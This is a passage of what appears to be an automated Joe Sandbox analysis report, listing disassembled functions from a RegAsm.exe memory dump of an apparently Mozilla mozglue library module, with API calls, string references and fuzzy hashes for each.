Instruction ID: 2cdaf6a6d54cec227d327405dc8fa4d589c129bbe6948dade61e84a05d99a0f5
Opcode Fuzzy Hash: 157c6106d2fe7d3a91ee5414906469a2b2130b1e6be02c9ea1e5b9efaac7d120
Instruction Fuzzy Hash: 0CE0DF70345201DBAF04BA66A928A3A3BBCAB52A0D710C03EE512C1E00EE20E5108667

Function 6C7000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C6D7235), ref: 6C7000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C7000F7
FreeLibrary.KERNEL32(?,6C6D7235), ref: 6C70010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C7000F1
wintrust.dll, xrefs: 6C7000D3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 35fda6903d9532b42f4cf0b0ab47599d4dc62e239ddb49aa74b4ca3a4df4c221
Instruction ID: b6eec9100d8cafa162c37c98c96551f830445b70eb63ec303899d578f6738493
Opcode Fuzzy Hash: 35fda6903d9532b42f4cf0b0ab47599d4dc62e239ddb49aa74b4ca3a4df4c221
Instruction Fuzzy Hash: 69E01AB03057059BEF00BF268A09F2A7AFCA70725CF60C037A909C5600DBB0A4108B10

Function 6C700080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C6D7204), ref: 6C700088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C7000A7
FreeLibrary.KERNEL32(?,6C6D7204), ref: 6C7000BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C7000A1
wintrust.dll, xrefs: 6C700083

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 3e1de94f4e4f200737e86813f4f94cac94be79d75106d2967dbae78eae388b08
Instruction ID: 26a49e4f15ceef0e17488821dc6e479ab86b37c0cecd360d7039175220600483
Opcode Fuzzy Hash: 3e1de94f4e4f200737e86813f4f94cac94be79d75106d2967dbae78eae388b08
Instruction Fuzzy Hash: BDE0EEB02007009BEB00BF678A08B057AFCA70B358F10C037AA20C6600DBB5D4409B21

Function 6C700170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C6D7308), ref: 6C700178
GetProcAddress.KERNEL32(00000000,CryptCATCatalogInfoFromContext), ref: 6C700197
FreeLibrary.KERNEL32(?,6C6D7308), ref: 6C7001AE

Strings

CryptCATCatalogInfoFromContext, xrefs: 6C700191
wintrust.dll, xrefs: 6C700173

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: 3f6707a5ee04e92c46fbea2de8703199de1dd1e5425d21687358cd0c5f44f4e0
Instruction ID: 1a34ce12381e0aa32f2770c0181b72cffdd67b8e33bc09ccce33a57ecda85253
Opcode Fuzzy Hash: 3f6707a5ee04e92c46fbea2de8703199de1dd1e5425d21687358cd0c5f44f4e0
Instruction Fuzzy Hash: 81E01AB07817849BEF007F26CA08B0A7BFCB74729DF148077EA8585641DB7094508B10

Function 6C700120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C6D7297), ref: 6C700128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C700147
FreeLibrary.KERNEL32(?,6C6D7297), ref: 6C70015E

Strings

CryptCATAdminEnumCatalogFromHash, xrefs: 6C700141
wintrust.dll, xrefs: 6C700123

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: a163ac3f67d3fe888e65b4eb4db8ac5aee0b9650121699a0ecc5830d98723304
Instruction ID: 8a1bdfafbd51848a5598bd433dc949cc9a11a68dbdbdcf40719c366bdb19a0f5
Opcode Fuzzy Hash: a163ac3f67d3fe888e65b4eb4db8ac5aee0b9650121699a0ecc5830d98723304
Instruction Fuzzy Hash: D6E0E5B06056449BEB00BF2B8908B1A7AFCA747359F50C037AA05CA600DB70D4008F50

Function 6C7001C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C6D7266), ref: 6C7001C8
GetProcAddress.KERNEL32(00000000,CryptCATAdminReleaseContext), ref: 6C7001E7
FreeLibrary.KERNEL32(?,6C6D7266), ref: 6C7001FE

Strings

CryptCATAdminReleaseContext, xrefs: 6C7001E1
wintrust.dll, xrefs: 6C7001C3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminReleaseContext$wintrust.dll
API String ID: 145871493-1489773717
Opcode ID: 499d585fb8d3af389b66b0fd0cc6eda8bd9a73cae687f974544903b2c106bd0a
Instruction ID: 0a93693969f847db626402a8912504c306d5f2d65d61a4500bee1f1bcf7ef61f
Opcode Fuzzy Hash: 499d585fb8d3af389b66b0fd0cc6eda8bd9a73cae687f974544903b2c106bd0a
Instruction Fuzzy Hash: 54E075B46847959FEB00BF678A08B1A7AFCAB57399F50C437AA15C9A41DB7494009B10

Function 6C72C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C72C0E9), ref: 6C72C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C72C437
FreeLibrary.KERNEL32(?,6C72C0E9), ref: 6C72C44C

Strings

NtQueryVirtualMemory, xrefs: 6C72C431
ntdll.dll, xrefs: 6C72C413

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d516193b4eacb3cfbe745495b9c80b1d1e66abe5c3fce3c39bfd6e82e7cb4c44
Instruction ID: b525993d3653b5cdbdb89d60d84c2714465d19d0d8b7d3dbee3d060d473dc88b
Opcode Fuzzy Hash: d516193b4eacb3cfbe745495b9c80b1d1e66abe5c3fce3c39bfd6e82e7cb4c44
Instruction Fuzzy Hash: 60E09270605711ABEB007FB68E08B167EFCA75A64DF00D137AA1499601EBB4D5408A50

Function 6C7275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C72748B,?), ref: 6C7275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C7275D7
FreeLibrary.KERNEL32(?,6C72748B,?), ref: 6C7275EC

Strings

RtlNtStatusToDosError, xrefs: 6C7275D1
ntdll.dll, xrefs: 6C7275B3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: a99786f7161a1c0e54ae517ca9658b1c24f883ad76f376b5272c7997e4f48062
Instruction ID: 1caf2a13795516fe1c4c4160694ed675f19f4686da49755786a06edf8f7f267b
Opcode Fuzzy Hash: a99786f7161a1c0e54ae517ca9658b1c24f883ad76f376b5272c7997e4f48062
Instruction Fuzzy Hash: DDE07E71605711ABEB027BA6CA48B09BAF8EB4625CF90D036A90591601EBB89551CF11

Function 6C727600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C727592), ref: 6C727608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C727627
FreeLibrary.KERNEL32(?,6C727592), ref: 6C72763C

Strings

NtUnmapViewOfSection, xrefs: 6C727621
ntdll.dll, xrefs: 6C727603

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3ee23e3c0b34e0896d2204f93ecd4bee069f1ce3480d761dbf1f2e7b078fb9d6
Instruction ID: d4f1aa488d2cd5756058588523eb802d01f6fc86ef242d9214875c23dce85b42
Opcode Fuzzy Hash: 3ee23e3c0b34e0896d2204f93ecd4bee069f1ce3480d761dbf1f2e7b078fb9d6
Instruction Fuzzy Hash: 9CE092B4605711ABDF027FB6CE08B057EBDE75A25DF81C13BE905D1601E7B894048B14

Function 6C72C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C72C1DE,?,00000000,?,00000000,?,6C6D779F), ref: 6C72C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C72C217
FreeLibrary.KERNEL32(?,6C72C1DE,?,00000000,?,00000000,?,6C6D779F), ref: 6C72C22C

Strings

WinVerifyTrust, xrefs: 6C72C211
wintrust.dll, xrefs: 6C72C1F3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: 171d9b78d670a92479045663f7e751b1ebee853ad3f03802fc8bd32436e7cbf0
Instruction ID: a8de6fd8c5fe4c1ae3aeed98b07781a813b13bed1c83378c82823d8e65df329b
Opcode Fuzzy Hash: 171d9b78d670a92479045663f7e751b1ebee853ad3f03802fc8bd32436e7cbf0
Instruction Fuzzy Hash: 00E0B6B4205B519BEF007F67DA08B067EFCAB5624DF10D537AA24C6602EBB4D4008B50

Function 6C72BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C72BE49), ref: 6C72BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C72BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C72BE49), ref: 6C72BF38
RtlReAllocateHeap.NTDLL ref: 6C72BF83
RtlFreeHeap.NTDLL(6C72BE49,00000000), ref: 6C72BFA6

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: e894cb6da58e4892256e8c220586ca0a1af26c43a72774e0f8555cdaa01d2110
Instruction ID: 037de797d28d3a4f511b4ba9e6b720ffd629a09a0c85f518df9dcc2a1c44a748
Opcode Fuzzy Hash: e894cb6da58e4892256e8c220586ca0a1af26c43a72774e0f8555cdaa01d2110
Instruction Fuzzy Hash: EF519471A002158FE724CF69CE80B9AB3B6FF88314F298639D556A7B55D734F9068F80

Function 6C718E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?,6C73D734), ref: 6C718E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?,6C73D734), ref: 6C718EBF
free.MOZGLUE(?,?,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?), ref: 6C718F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?,6C73D734), ref: 6C718F46
free.MOZGLUE(?,?,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?), ref: 6C718F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C70B58D,?,?,?,?,?,?,?,6C73D734,?,?,?), ref: 6C718F8F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9a6496c3065ad0fd3a192e54e31171163b1d436eb449e2c7cb5105d0f64cb984
Instruction ID: dca7ded5a8f830af50f56711dfc4a8d0b908c522dd4bc018cd79ffcecb47bdb6
Opcode Fuzzy Hash: 9a6496c3065ad0fd3a192e54e31171163b1d436eb449e2c7cb5105d0f64cb984
Instruction Fuzzy Hash: 1D51D6B1A092168FEB10CF54D98076E73B6FF49708F2A053AD916ABB41E731F905CB91

Function 6C6D60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D6180
free.MOZGLUE(?,?,?,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6D6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D6229
free.MOZGLUE(?,?,?,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6D625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6D5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6D6271

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 819464198d302f5ecd0bdaf31b124646cafaa92f3a37d5e8188f6e1ba7905114
Instruction ID: 211bfb4830b9507f967a8bb555ced15117fcd750fd435ed54bb66aabccde486f
Opcode Fuzzy Hash: 819464198d302f5ecd0bdaf31b124646cafaa92f3a37d5e8188f6e1ba7905114
Instruction Fuzzy Hash: AC518CB1A042068FEB14CF68D8807AEB7B5EF59308F164839C516D7711E731F958CB69

Function 6C7127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C71284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C71289A
free.MOZGLUE(?,?,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C7128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C712910
free.MOZGLUE(00000001,?,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C71293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C712620,?,?,?,6C7060AA,6C705FCB,6C7079A3), ref: 6C71294E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5c39f3d08181d3325266c1ae6dd8d3de9cade9cd5f556fff5669783bada5b7b6
Instruction ID: bd0159aa8e785d83a5013cdffae3aa83a6376bd3f9712fa3f978992dc328cdd2
Opcode Fuzzy Hash: 5c39f3d08181d3325266c1ae6dd8d3de9cade9cd5f556fff5669783bada5b7b6
Instruction Fuzzy Hash: E741E2B1A082068FEB10CF6CD98476A77F6EF46308F290939D556EBB41E731E904CB65

Function 6C6CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6CCFF6
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C6CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C6CD139

Strings

MOZ_CRASH(), xrefs: 6C6CD187

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 3156ba18525c18af6ddba5fa8059982665277936aa117a0b45a447428dc31835
Instruction ID: 521d0a20a438fb7bcfd5fd5b0492d577c64f0e084dbcccd4277299ef3042786d
Opcode Fuzzy Hash: 3156ba18525c18af6ddba5fa8059982665277936aa117a0b45a447428dc31835
Instruction Fuzzy Hash: 82411571B8071A4FDB05DE7C8C903AAB6B0EB4A738F15413AE918E7784D7B19C018BC9

Function 6C6C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C6C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C6C4F1E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 1b2f5f167d0fb814465d5fa4c0143b95d30370a4016f89d2661fd1b3342bf830
Instruction ID: a6b3407c13ee5a5d388b928ddbfcd7cdf3b2e51efa95c27b5e94c9339d7ff13e
Opcode Fuzzy Hash: 1b2f5f167d0fb814465d5fa4c0143b95d30370a4016f89d2661fd1b3342bf830
Instruction Fuzzy Hash: EC41D0716047059FC701CF29C8809BBBBE4FF8A354F108A2DF56587641DBB0E915CB96

Function 6C6DC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6DC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6DC1DC

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 9b6ac43b5164da892059342922a2de022a91d07f86337cf48ed7877dc7a395ac
Instruction ID: 95322dc6d44c95a805fe94077c07056d219898cb6146da9ba8c4a059b1b8a070
Opcode Fuzzy Hash: 9b6ac43b5164da892059342922a2de022a91d07f86337cf48ed7877dc7a395ac
Instruction Fuzzy Hash: 3E41D1B1D083549FD710DF64C58079ABBE4BF8A308F01856EE89A9B712E730E548CBD6

Function 6C72A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74F770), ref: 6C72A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72A87B

Part of subcall function 6C72A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C72A88F,00000000), ref: 6C72A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C72A8FF
